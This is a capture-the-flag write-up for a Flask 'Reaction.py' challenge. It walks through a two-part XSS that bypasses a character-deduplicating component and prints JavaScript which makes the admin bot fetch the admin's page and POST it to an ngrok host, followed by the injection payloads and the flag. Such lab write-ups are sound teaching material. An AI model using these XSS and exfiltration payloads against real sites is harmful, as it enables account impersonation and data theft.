Rating: 5.0
Jason's created the newest advancement in web development, Reaction.py! A server-side component-based web framework. He created a few demo components that you can find on his site. If you make a cool enough webpage, you can submit them to the contest and win prizes! Source Admin bot source
We have a "site generator" with which we can add predefined components as logged-in users.
When we create a component, a POST request is sent to /newcomp
and the specified component is added to the /
page through the add_component
function.
If we press submit site to contest
button, our page is sent to /contest
that checks the Google Captcha and open the page inside a puppeteer
instance through visit.js
@app.route("/contest", methods=["POST"])
@mustlogin
def contest_submission(user):
captcha_response = request.form.get("g-recaptcha-response")
if not captcha_response:
return ("Please complete the CAPTCHA", 400)
secretkey = captcha.get("secretkey")
if secretkey:
r = requests.post(
"https://www.google.com/recaptcha/api/siteverify",
data={"secret": secretkey, "response": captcha_response},
).json()
if not r["success"]:
return ("Invalid CAPTCHA", 400)
subprocess.run(
["node", "visit.js", user["username"]],
# stdout=subprocess.DEVNULL,
# stderr=subprocess.DEVNULL,
stdin=subprocess.DEVNULL,
)
return PAGE_TEMPLATE.replace(
"$$BODY$$",
"""<p>The admin should have reviewed your submission. <a href="/">Back to homepage</a></p>""",
)
We can't inject malicious code via username because it accepts only letters, digits and _
The site use an in-memory storage. Our data are stored inside accounts[username]
and the HTML components inside accounts[username]["bucket"]
.
There is a default "admin" user which has the flag.
accounts = {
"admin": {
"username": "admin",
"pw": admin_password,
"bucket": [f"<p>{escape(flag)}</p>"],
"mutex": Lock(),
}
}
As we can see, there is a custom middleware that lets us impersonate whatever user we want. It only needs the secret
cookie.
def mustlogin(route):
@wraps(route)
def ret():
if request.cookies.get("secret") == admin_password:
fakeuser = request.args.get("fakeuser")
if fakeuser:
return route(user=accounts[fakeuser])
if "username" not in session or session["username"] not in accounts:
return redirect("/login", code=302)
return route(user=accounts[session["username"]])
return ret
The only interesting function is add_component
.
It adds our components to bucket (max 2). Through the name
parameter we can choose one of the following components:
if name == "welcome":
if len(bucket) > 0:
return (ERR, "Welcomes can only go at the start")
bucket.append(
"""
<form action="/newcomp" method="POST">
<input type="text" name="name" placeholder="component name">
<input type="text" name="cfg" placeholder="component config">
<input type="submit" value="create component">
</form>
<form action="/reset" method="POST">
<p>warning: resetting components gets rid of this form for some reason</p>
<input type="submit" value="reset components">
</form>
<form action="/contest" method="POST">
<div class="g-recaptcha" data-sitekey="{}"></div>
<input type="submit" value="submit site to contest">
</form>
<p>Welcome <strong>{}</strong>!</p>
""".format(
captcha.get("sitekey"), escape(cfg)
).strip()
)
elif name == "char_count":
bucket.append(
"<p>{}</p>".format(
escape(
f"<strong>{len(cfg)}</strong> characters and <strong>{len(cfg.split())}</strong> words"
)
)
)
elif name == "text":
bucket.append("<p>{}</p>".format(escape(cfg)))
elif name == "freq":
counts = Counter(cfg)
(char, freq) = max(counts.items(), key=lambda x: x[1])
bucket.append(
"<p>All letters: {}<br>Most frequent: '{}'x{}</p>".format(
"".join(counts), char, freq
)
)
In the first three components, our input (cfg
) is escaped via flask escape
. In the last one, cfg
is not, but duplicated characters are eliminated because of Counter
function.
Looking at visit.js
code we have the cookie we need. Unfortunately, it can't be stolen through javascript (httpOnly: true
), neither through CSRF attack (sameSite: "Strict", domain: 127.0.0.1:8080
).
The site is vulnerable to XSS attack. We can't and we don't need to get the cookies. We just need that puppeteer, which has them, makes a request for us as admin and send the response to us. We used ngrok
as HTTP bin.
fetch('/?fakeuser=admin')
.then(response => response.text())
.then(data =>{
fetch('http://293fb56704d7.ngrok.io/', {
method : 'post',
body: data
})
});
Due to the limitations of the freq
component, we must load our script as an external resource. So we served it through a PHP server (maybe it can be a simple js
file).
We want to inject
<script src="https://293fb56704d7.ngrok.io"></script>
but we have to remove duplicates. So:
https://
to //
<SCRIPT src=//293fb56704d7.ngrok.io></script>
We can't use double slash, so we HTML encode /
the second one.
Our URL is too long. After a bit of research, the solution is bit.ly
which lets us create custom paths and its domain has available characters.
We must close the script tag in order to be executed, so we have to use the second component and comment out everything between the two tags. We used a single quote instead of comment :sweat_smile:
<SCRIPT src=//bit.ly\2Q5ZXW1>' [content to comment out] '</SCRIPT>
exploit
new_comp('freq', '<SCRIPT src=//bit.ly\\2Q5ZXW1>\'')
new_comp('freq', '\'</SCRIPT>')
Before doing this, we have to reset the page through a POST request to /reset
. Run py ./exploit.py
Now, we have to:
/
page through the browser and log indocument.body.innerHTML += '<form action="/contest" method="POST"><div class="g-recaptcha" data-sitekey="6LfbKpgaAAAAAJBO6sFtDLzXUHeZBZaKtNxQB-yr"></div><input type="submit" value="submit site to contest"></form>'
let myScript = document.createElement("script");
myScript.setAttribute("src", "https://www.google.com/recaptcha/api.js");
document.body.appendChild(myScript);
submit site to contest
And we have the flag to our HTTP bin
actf{two_part_xss_is_double_the_parts_of_one_part_xss}